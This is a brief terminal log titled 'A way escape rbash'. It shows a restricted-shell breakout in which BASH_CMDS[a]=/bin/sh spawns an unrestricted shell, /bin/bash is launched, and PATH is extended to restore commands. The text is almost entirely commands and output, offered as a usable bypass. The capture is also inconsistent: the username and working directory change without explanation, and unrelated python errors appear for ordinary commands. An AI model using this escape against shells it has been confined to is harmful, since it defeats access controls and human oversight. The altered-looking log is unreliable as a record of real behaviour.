A way escape rbash

hacker@beta:~$ ls
-rbash: /usr/bin/python: restricted: cannot specify `/' in command names
ryuu@beta:~$
hacker@beta:~$ whoami
-rbash: /usr/bin/python: restricted: cannot specify `/' in command names
hacker@beta:~$ BASH_CMDS[a]=/bin/sh;a 
$ /bin/bash
bash: groups: command not found
hacker@beta:~$ export PATH=$PATH:/bin/
hacker@beta:~$ export PATH=$PATH:/usr/bin
hacker@beta:~/usr$ whoami
hacker
hacker@beta:~/usr$ /bin/rbash  --version
/bin/rbash  --version
GNU bash, version 4.2.10(1)-release (i686-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.